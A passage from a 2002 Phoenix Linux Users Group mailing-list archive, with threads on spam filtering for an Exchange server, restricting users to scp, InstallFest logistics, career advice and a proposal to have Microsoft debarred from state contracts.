exchange server. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 14:25:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 20 Jun 2002 09:25:08 -0500 Subject: SMTP mail relay server for SPAM filtering In-Reply-To: <1024574498.29714.4.camel@barney.azapple.com>; from craigwhite@azapple.com on Thu, Jun 20, 2002 at 05:01:38AM -0700 References: <1024574498.29714.4.camel@barney.azapple.com> Message-ID: <20020620092508.B6920@lilly.csoft.net> I agree with Craig. I'd also throw in some Qmail and Debian specs as well :-) On Thu, Jun 20, 2002 at 05:01:38AM -0700, Craig White wrote: On Thu, 2002-06-20 at 01:03, Scott Henderson wrote: > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! ---- spam assassin use whatever distro. I would have this box the primary mx for incoming mail. Check it with spam assassin and then forward it to the exchange server. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:09:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 20 Jun 2002 09:09:05 -0700 (MST) Subject: intro classes - planning In-Reply-To: <20020620090916.21656.qmail@web13404.mail.yahoo.com> Message-ID: Am 20. Jun, 2002 schwätzte bob smith so: > The Linux classes are great and I'm really looking > forward to them (attending/helping in any way I can). > I'm also curious though on wether there will be any > classes geared toward the *BSDs? I installed FreeBSD > 4.6 a little while ago and I can't say enough about > it. I've been using it as my main OS and have found > that I can use the same apps as I would be able to in > Linux. We currently have no plans to cover *BSD. There will be some bleedover, e.g. Open Office works on *BSD. Don't know if Gnome or KDE do or are default. We're planning for the intro classes to be at that level. For sys_adm topics, we will probably only explain what they are, e.g. MUA vs. MTA, but not actually cover setting up an MTA. The normal PLUG meetings are fine for *BSD topics, but we need people to come forward with presentations. ciao, der.hans -- # https://www.LuftHans.com/ # If you're not learning, you're not living. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:13:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 20 Jun 2002 09:13:18 -0700 (MST) Subject: SMTP mail relay server for SPAM filtering In-Reply-To: <20020620092508.B6920@lilly.csoft.net> Message-ID: Am 20. Jun, 2002 schwätzte Mike so: > I agree with Craig. I'd also throw in some > Qmail and Debian specs as well :-) We will specifically not be covering qmail as we won't be covering setting up MTAs. That's not an intro topic. We haven't written the material, but I'm hoping that the classes will turn out to be dist independent ( well slackware's Berkeley-style init scripts will be ignored ). What dist-dependent stuff we have to cover will probably cover 3 or 4 major dists. Debian, of course, is *the* major dist ;-). ciao, der.hans -- # https://www.LuftHans.com/ # Schließlich verteidigt Amerika Freiheit. Und Freiheit beginnt mit dem Wort. # -- Gunter Grass From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:11:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 20 Jun 2002 09:11:11 -0700 Subject: SMTP mail relay server for SPAM filtering References: <1024574498.29714.4.camel@barney.azapple.com> <20020620092508.B6920@lilly.csoft.net> Message-ID: <3D11FE9F.46E04903@leml.asu.edu> Mike wrote: > > On Thu, Jun 20, 2002 at 05:01:38AM -0700, Craig White wrote: > On Thu, 2002-06-20 at 01:03, Scott Henderson wrote: > > My company, like many, I'm sure, is wrestling with spam email. > > Currently we're handling it manually, creating blocks on our > > Exchange server based on IP addresses. We are not being given > > any budget to solve this problem, but we do have a few spare > > servers sitting around. I'm thinking this may be an opportunity > > to show the MS-based IT Dept what can be done with some Open > > Source software. I'd like suggestions on how to set up an SMTP > > mail relay box and anti-spam software. I have a year or so > > experience with a few Linux distros on my desktop and laptop at > > home, so I'm no wizard, but I can usually find my way around. > > Is this doable? We average around 6-700 SMTP emails per hour > > during the day, and spike to maybe 1500 on occasion. I want to > > set the box up inside the DMZ, in front of the Exchange server, > > and just have it relay to and from that box. What distro? What > > software? How to config? Any HOWTOs on this or other resources? > > Thanks much! > ---- > spam assassin > > > > use whatever distro. > > I would have this box the primary mx for incoming mail. Check it with > spam assassin and then forward it to the exchange server. also need to decide up front how you will deal with spam... Can you actually just throw it away? Many places send it on anyway but have it taged so the end user can decide. Another possibility is to dump it in a waiting pen and have someone delete it once. Other legal messages can be forwarded on... EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:26:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Sawyer) Date: Thu, 20 Jun 2002 09:26:41 -0700 Subject: Map to SCC for the Installfest Message-ID: <5.1.0.14.2.20020620092146.02210140@mail.scottsawyer.org> The Press release mentions that there is a map to SCC on the primary website. I wasn't able to find it. -Scott Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:37:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 20 Jun 2002 09:37:45 -0700 Subject: SMTP mail relay server for SPAM filtering Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4F9@mail.int.fh.org> We are using MimeDefang very successfully. -------------------original message------------------------- Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) From: Scott Henderson To: plug-discuss@lists.plug.phoenix.az.us Subject: SMTP mail relay server for SPAM filtering Reply-To: plug-discuss@lists.plug.phoenix.az.us My company, like many, I'm sure, is wrestling with spam email. Currently we're handling it manually, creating blocks on our Exchange server based on IP addresses. We are not being given any budget to solve this problem, but we do have a few spare servers sitting around. I'm thinking this may be an opportunity to show the MS-based IT Dept what can be done with some Open Source software. I'd like suggestions on how to set up an SMTP mail relay box and anti-spam software. I have a year or so experience with a few Linux distros on my desktop and laptop at home, so I'm no wizard, but I can usually find my way around. Is this doable? We average around 6-700 SMTP emails per hour during the day, and spike to maybe 1500 on occasion. I want to set the box up inside the DMZ, in front of the Exchange server, and just have it relay to and from that box. What distro? What software? How to config? Any HOWTOs on this or other resources? Thanks much! ----------------------------- Tired of Microsoft Windows? Visit http://www.lycoris.com! Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 20 Jun 2002 09:41:11 -0700 Subject: Help getting experience Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4FA@mail.int.fh.org> I'm a little concerned that someone who wants to be a Software Engineer would say "even programming would work." If you're looking at programming as a last resort type thing, than I doubt software engineer is what you really want to be. That attitude probably comes across in interviews too. One place to look for jobs is on geekjobs.org Get on their email list. Am 19. Jun, 2002 schwätzte MCR so: > I have a question to ask of the group. Maybe a favor, > so to speak. I am starting my junior year at ASU in > Computer Science. Right now I work in a Hotel, and I > really don't like my job. I keep trying to apply for > jobs in the computer field, however I have never had a > job of this type before, which is making it difficult > for me. > My question is would anyone be willing or able to help > me get experience, so I can get a job in the Computer > field. I am highly interested in Networking, but any > work involving computers would be good. I am working > toward a career as a software engineer, so even > programming would work. If someone would be willing, > the idea I have is if someone would be willing to take > me on as an apprentice for a couple of months > to teach me the "ropes". I would be willing to work > part-time, and for free, in exchange for the knowledge > and a recommendation /reference if it is deserved. Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 12:41:02 -0400 Subject: Map to SCC for the Installfest Message-ID: At the top of the main page is a link to "More InstallFest Information." Click that link to get to the InstallFest web site. From there, click the Maps link near the right side. You are right, there is not a direct link to the maps on the main PLUG web site. Can this be corrected? Alan On Thu, 20 Jun 2002 09:26:41 -0700 Scott Sawyer wrote: The Press release mentions that there is a map to SCC on the primary website. I wasn't able to find it. -Scott Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 12:41:02 -0400 Subject: Map to SCC for the Installfest Message-ID: At the top of the main page is a link to "More InstallFest Information." Click that link to get to the InstallFest web site. From there, click the Maps link near the right side. You are right, there is not a direct link to the maps on the main PLUG web site. Can this be corrected? Alan On Thu, 20 Jun 2002 09:26:41 -0700 Scott Sawyer wrote: The Press release mentions that there is a map to SCC on the primary website. I wasn't able to find it. -Scott Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 20 Jun 2002 09:41:07 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: References: Message-ID: <1024591268.12366.33.camel@wwarner> Your probably better off just setting there shell to /bin/false in /etc/passwd. If there is every any kind of security hole in scp that someone could exploit they could get in to your box with your current setup. Bill Warner On Wed, 2002-06-19 at 18:48, Matt Alexander wrote: > I'm trying to configure a box so people can scp files to it, but can't > actually ssh in. I created a script named scpsh with this in it: > > #!/bin/sh > # > exec /usr/bin/scp -t $HOME > > > Then I added scpsh to /etc/shells and made it their shell in > /etc/passwd. > So now users can use scp to copy files over just fine, but when they try > to ssh, it sits there until they hit a key, at which point they get: > > scp: protocol error: unexpected > Connection to 1.2.3.4 closed. > > > Is this the best way to handle this? Is there a better way that anyone > knows of? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:06:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 20 Jun 2002 10:06:40 -0700 Subject: Map to SCC for the Installfest In-Reply-To: <5.1.0.14.2.20020620092146.02210140@mail.scottsawyer.org> References: <5.1.0.14.2.20020620092146.02210140@mail.scottsawyer.org> Message-ID: <0206201006400A.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The PLUG website should have a link to the Install Fest web site right at the top. If not, it is at www.plugpresents.com/installfest. On Thursday 20 June 2002 09:26, you wrote: > The Press release mentions that there is a map to SCC on the primary > website. I wasn't able to find it. > > -Scott > > > Scott Sawyer > Engagement Manager - Red Hat Inc. > http://www.redhat.com Scott Sawyer Digital > Photography http://www.scottsawyer.org > Member of Linux Users of Northern > Arizona http://luna.flagstaff.az.us > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRILoisk3ywszI1FEQK8OQCgifne+y/cQMj5uQ23mWx7k+SZKvoAnA5r MpuU+jFvQjMBpPGILBr++2Uk =+POy -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:55:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 20 Jun 2002 09:55:32 -0700 Subject: SMTP mail relay server for SPAM filtering In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4F9@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B4F9@mail.int.fh.org> Message-ID: <1024592132.29714.18.camel@barney.azapple.com> what's mime-defang have to do with spam? Craig On Thu, 2002-06-20 at 09:37, Tom Achtenberg wrote: > We are using MimeDefang very successfully. > > -------------------original message------------------------- > > Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) > From: Scott Henderson > To: plug-discuss@lists.plug.phoenix.az.us > Subject: SMTP mail relay server for SPAM filtering > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:57:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 20 Jun 2002 09:57:17 -0700 (PDT) Subject: Limiting a user to scp and not ssh In-Reply-To: <1024591268.12366.33.camel@wwarner> Message-ID: Uhhh... but I want them to be able to scp to my box. If I set their shell to /bin/false, they can't scp in. On 20 Jun 2002, Bill Warner wrote: > Your probably better off just setting there shell to /bin/false in > /etc/passwd. > > If there is every any kind of security hole in scp that someone could > exploit they could get in to your box with your current setup. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:09:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 20 Jun 2002 12:09:53 -0500 Subject: Limiting a user to scp and not ssh In-Reply-To: <1024591268.12366.33.camel@wwarner>; from wwarner@direct-alliance.com on Thu, Jun 20, 2002 at 09:41:07AM -0700 References: <1024591268.12366.33.camel@wwarner> Message-ID: <20020620120953.B25130@lilly.csoft.net> I seem to recall a setup which uses the keys in ssh to restrict access. I think I read this in SysAdmin a few (many?) months ago. Not sure if this would apply to your situation, but it may warrant further investigation. v/r Mike On Thu, Jun 20, 2002 at 09:41:07AM -0700, Bill Warner wrote: Your probably better off just setting there shell to /bin/false in /etc/passwd. If there is every any kind of security hole in scp that someone could exploit they could get in to your box with your current setup. Bill Warner On Wed, 2002-06-19 at 18:48, Matt Alexander wrote: > I'm trying to configure a box so people can scp files to it, but can't > actually ssh in. I created a script named scpsh with this in it: > > #!/bin/sh > # > exec /usr/bin/scp -t $HOME > > > Then I added scpsh to /etc/shells and made it their shell in > /etc/passwd. > So now users can use scp to copy files over just fine, but when they try > to ssh, it sits there until they hit a key, at which point they get: > > scp: protocol error: unexpected > Connection to 1.2.3.4 closed. > > > Is this the best way to handle this? Is there a better way that anyone > knows of? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:06:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Thu, 20 Jun 2002 10:06:09 -0700 Subject: Apple has some big brass ones! Message-ID: It's actually a whole series of ads. They're testimonials from "real people" (a writer, an artist, etc.) who hated their PCs and switched to a Mac. You can see more of the ads at http://www.apple.com/switch/ads. I think the campaign is pretty clever. ~Jeff On Wednesday, June 19, 2002 11:17 PM, robert jorgenson wrote: > i dont know if anyone has seen it yet but apple has a new > commercial out. Its basically a guy who says hes a windows > LAN admin talking about how muh better OSX is than windows. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:12:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 20 Jun 2002 10:12:15 -0700 Subject: Help getting experience In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4FA@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B4FA@mail.int.fh.org> Message-ID: <200206201012.27221.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 20 June 2002 09:41 am, Tom Achtenberg wrote: > I'm a little concerned that someone who wants to be a Software Engineer > would say "even programming would work." If you're looking at > programming as a last resort type thing, than I doubt software engineer > is what you really want to be. That attitude probably comes across in > interviews too. Don't be too harsh. I was in his situation not too long ago, and I had the same feeling. I _love_ designing/implementing systems, but ASU doesn't exactly teach you how to do this. After being around all the superstars in the free software community, it is easy to feel that you would simply fail at a programming position. The key is to love what you do and work where you can ease into the position. Of course, maybe he really doesn't like programming, in which case it will be awfully tough to get into systems design without being a "code monkey" first. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9EgzzpNoctRtUIRQRAikIAJ9WTa06KL4ssayqA9FYe+BrK+RvEgCgjG3x J+vCG3MyxhHWZx3nGPzg3/g= =cAaU -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:22:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 13:22:35 -0400 Subject: Map to SCC for the Installfest Message-ID: I think Steve's point is that the press release says "A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). " The main page does NOT have a map or an obvious link to a map. There should be one since the press release says we have a map at that URL. Just a "InstallFest map here." linking to http://www.plugpresents.com/installfest/maps.html would be good enough. Alan On Thu, 20 Jun 2002 10:06:40 -0700 Jim wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The PLUG website should have a link to the Install Fest web site right at the top. If not, it is at www.plugpresents.com/installfest. On Thursday 20 June 2002 09:26, you wrote: > The Press release mentions that there is a map to SCC on the primary > website. I wasn't able to find it. > > -Scott From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:43:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 20 Jun 2002 10:43:11 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <02061909574107.01526@nova.wedge.org> References: <5.1.0.14.0.20020619093307.024ec210@localhost> <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <5.1.0.14.0.20020620104215.024cbd90@localhost> I was wondering because I do know a civil attorney that might take it on but since I don't know for sure, I will call him anyway just to see. Kimi At 6/19/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >IMHO, which is decidedly non-legal, I think that debarment proceedings are >neither civil nor criminal, but rather a violation of procurement rules. I >could be wrong, but if my reading of the procurement rules is accurate, MS >could be debarred from contracting with the state, its departments, its >school districts, and its cities and municipalities. > >On Wednesday 19 June 2002 09:34, you wrote: > > Would this be civil? > > > > Kimi > > > > At 6/19/02, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > > >Hash: SHA1 > > > > > >According to the state administrative rules, it looks like most if not all > > > of the school districts could be required to initiate debarment > > > proceedings against MS. Anyone know an attorney who is willing to take > > > something like this on pro-bono? > > > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > > Here is the response I received from David Cantelme, Deer Valley school > > > > board member. He is the one who has arizonalawinstitute@yahoo.com as > > > > his email address. It sounds to me that all the school districts and > > > > the state itself should be starting debarment proceedings against MS. > > > > We need to start contacting the legislators, Attorney General's office > > > > and your local school superintendents. > > > > > > > > > > > > ----- Original Message ----- > > > > From: "david cantelme" > > > > To: "Tom Achtenberg" > > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > > > > Dear Mr. Actenburg: > > > > > > > > They do not, but similar rules found in the state > > > > school district procurement rules do apply. Both sets > > > > of rules have their origen in the state procurement > > > > code. You can find the school district procurement > > > > rules by going to the secretary of state web site. > > > > Click on administrative rules. Go to title seven. > > > > Then scroll down to R7-2-1001. That's where the rules > > > > begin. They continue to about R7-2-1175. > > > > > > > > Debarment procedures do exist in the school district > > > > procurement rules. You would need to address your > > > > comments on debarment to the adminsitration. That's > > > > who would initiate the procedure. If the > > > > administration initiates a debarment procedure, the > > > > board determines whether to appoint a hearing officer. > > > > It goes from there to the officer with appropriate > > > > due process to the contractor. The board itself has > > > > no involvement in the hearing process. The officer > > > > must be independent to ensure a fair hearing under our > > > > constitutional system. > > > > > > > > --- Tom Achtenberg wrote: > > > > > I was wondering if the Maricopa County purchasing > > > > > policies listed below apply > > > > > to DVUSD purchasing pprocedures? > > > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > > > MC1-101 DEFINITIONS > > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > > with a County > > > > > Governmental unit. For purposes of Article 5, > > > > > Contractor may also mean > > > > > Respondent as defined in this Article. > > > > > 36."DEBARMENT" means an action taken by the County > > > > > Administrative > > > > > Officer under MC1-902 to prohibit a Person from > > > > > Participating in > > > > > Maricopa County Procurements. > > > > > 80."PERSON" means any corporation, Business, > > > > > individual, union, > > > > > committee, club, other organization or group of > > > > > individuals. > > > > > 113."SUSPENSION" means an action taken by the County > > > > > Administrative > > > > > Officer under MC1-902 temporarily disqualifying a > > > > > Person from > > > > > participating in Maricopa County Procurements. > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > > This is important > > > > > below.] > > > > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > > All Specifications shall seek to promote overall > > > > > economy for the purpose > > > > > intended and encourage competition in satisfying > > > > > Maricopa County's needs > > > > > and shall not be unduly restrictive. > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > > > [Is there any technology that is Microsoft > > > > > exclusive? I believe there > > > > > are sites that explain how to replace Exchange > > > > > Server completely using > > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > > with mySQL or PostgreSQL; > > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > > Office suite is > > > > > replaceable with the very comparable Open Office > > > > > suite.] > > > > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > > B. The causes for Debarment or Suspension shall > > > > > include, but are not > > > > > limited to, the following: > > > > > 2. Conviction of any Person or any subsidiary or > > > > > affiliate of any Person > > > > > under any statute of the Federal government, this > > > > > State or its political > > > > > subdivision or any other State for: > > > > > k. Any other offense indicating a lack of business > > > > > integrity or business > > > > > honesty which affects responsibility as a > > > > > Contractor. > > > > > 3. Conviction or civil judgment finding a violation > > > > > by any Person or any > > > > > subsidiary or affiliate of any Person under State or > > > > > Federal Antitrust > > > > > Statutes. > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > > been convicted of a > > > > > violation of Federal Antitrust Statues, cannot be a > > > > > County Contractor. > > > > > > > > > > There are many alternatives to Microsofts products. > > > > > Alternatives that have > > > > > broken no laws, Federal or Local, are well supported > > > > > and used by many large > > > > > governments (Germany, Taiwan, et al). As a > > > > > concerned voter in the DVUSD, I > > > > > must point out that I cannot support criminal > > > > > behavior and would hope that my > > > > > Governing Board would see fit to do the same and > > > > > ONLY consider alternatives > > > > > as Microsoft is clearly unqualified to meet District > > > > > requirements. > > > > > > > > > > Thank You, > > > > > > > > > > Tom Achtenberg > > > > > > > > > > PS this message was written ans sent to you using a > > > > > computer that is 100% > > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > > operating system, KDE windows > > > > > like desktop and the K-mail email client. All if > > > > > these programs come under > > > > > the "General Public License" which means they are > > > > > 100% free to the public for > > > > > personal and commercial use. > > > > > -- > > > > > Visit the Mountain Ridge Band Site at > > > > > > > > http://www.mrhsband.org > > > > > > > > > > > > __________________________________________________ > > > > Do You Yahoo!? > > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > > > > > --- > > > > Outgoing mail is certified Virus Free. > > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > >- -- > > >Jim > > > > > >Freedom is worth protecting > > > > > >-----BEGIN PGP SIGNATURE----- > > >Version: PGP 6.5.8 > > > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > > >uqHWgWriXgbXcZvWptly5CtJ > > >=tKg8 > > >-----END PGP SIGNATURE----- > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRC4BSsk3ywszI1FEQLMygCeP8J3OAAe0HtrEvQsqzXiRt3bHRgAn20/ >jvqee9WrnED2XJex6UfhtK/4 >=EQ9s >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:32:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Thu, 20 Jun 2002 10:32:53 -0700 Subject: Help getting experience Message-ID: <7D2FB294FA311F4299D03CC8D3904370716596@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_tXyl0/9xIm4YavANAGQDkA) Content-type: text/plain; charset="iso-8859-1" As a faculty member at ASU that works with many student programmers I have a few comments to share with you. Are you majoring in computer science so you can program 9-5 or are you geting into computer science because you want the luxury of getting paid for your passion? Both scenarios are valid, however the paradigms involved in the two scenarios can have a great affect on your ability to achieve your desired professional role. If you simply want to program 9-5 and check your code-fu at the door when you come home (which is perfectly acceptable) chances are that 99% of your programming efforts go towards class work. If you are passionate about programming you've likely spent late nights in front of the monitor developing some new firmware for your toaster oven because the firmware that came with it always burns your toast. Of course, in this scenario, the individual will likely put projects like toaster firmware and Kids In The Hall MPEG-4 web bots at a higher priority than his/her schoolwork. Although this individual's grades may be mediocre at 